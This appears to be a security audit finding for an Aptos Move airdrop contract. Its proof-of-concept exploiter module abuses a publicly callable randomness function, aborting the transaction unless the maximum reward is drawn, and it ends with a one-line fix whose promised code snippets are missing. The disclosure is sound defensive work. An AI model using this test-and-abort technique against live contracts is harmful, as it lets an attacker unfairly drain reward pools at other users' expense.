The following contract demonstrates how to exploit the public randomness to guarantee maximum rewards. Test cases demonstrate how this exploit can either successful claim a high amount or abort in case of a low amount.
module pizza_drop::pizza_exploiter {
use pizza_drop::airdrop;
use aptos_framework::coin::{MintCapability, BurnCapability};
use aptos_framework::aptos_coin::AptosCoin;
const E_NOT_MAX_REWARD: u64 = 1;
const DESIRED_AMOUNT: u64 = 500;
struct TestContext {
burn_cap: BurnCapability<AptosCoin>,
mint_cap: MintCapability<AptosCoin>
}
#[randomness]
entry fun exploit_randomness(signer: &signer, user: address) {
airdrop::register_pizza_lover(signer, user);
let amount = airdrop::get_claimed_amount(user);
assert!(amount == DESIRED_AMOUNT, E_NOT_MAX_REWARD);
}
#[test_only]
fun setup_test(
deployer: &signer,
framework: &signer
): TestContext {
use aptos_framework::coin;
use aptos_framework::aptos_coin;
aptos_framework::timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
let funding_amount = 100000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
airdrop::init_module_for_test(deployer);
airdrop::fund_pizza_drop(deployer, 50000);
TestContext { burn_cap, mint_cap }
}
#[test(deployer = @pizza_drop, user1 = @0x123, framework = @0x1)]
fun test_exploit_public_randomness(
deployer: &signer,
user1: &signer,
framework: &signer
) {
use std::signer;
use aptos_framework::coin;
use aptos_framework::timestamp;
let test_context = setup_test(deployer, framework);
let user1_addr = signer::address_of(user1);
timestamp::update_global_time_for_test(4010000 + 400);
exploit_randomness(deployer, user1_addr);
let amount = airdrop::get_claimed_amount(user1_addr);
assert!(amount == 500, 2);
let TestContext { burn_cap, mint_cap } = test_context;
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
#[expected_failure(abort_code = E_NOT_MAX_REWARD)]
#[test(deployer = @pizza_drop, user1 = @0x123, framework = @0x1)]
fun test_exploit_public_randomness_failure(
deployer: &signer,
user1: &signer,
framework: &signer
) {
use std::signer;
use aptos_framework::coin;
use aptos_framework::timestamp;
let test_context = setup_test(deployer, framework);
timestamp::update_global_time_for_test(4010000);
exploit_randomness(deployer, signer::address_of(user1));
let TestContext { burn_cap, mint_cap } = test_context;
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
}
For these tests to run, add this test_only function to the original airdrop module to allow us to initialize the airdrop module for our tests.
Simply remove `public` from the randomness function to prevent external contracts from calling it:
This solution ensures that random values cannot be observed and manipulated by external contracts, maintaining the fairness of the airdrop distribution system.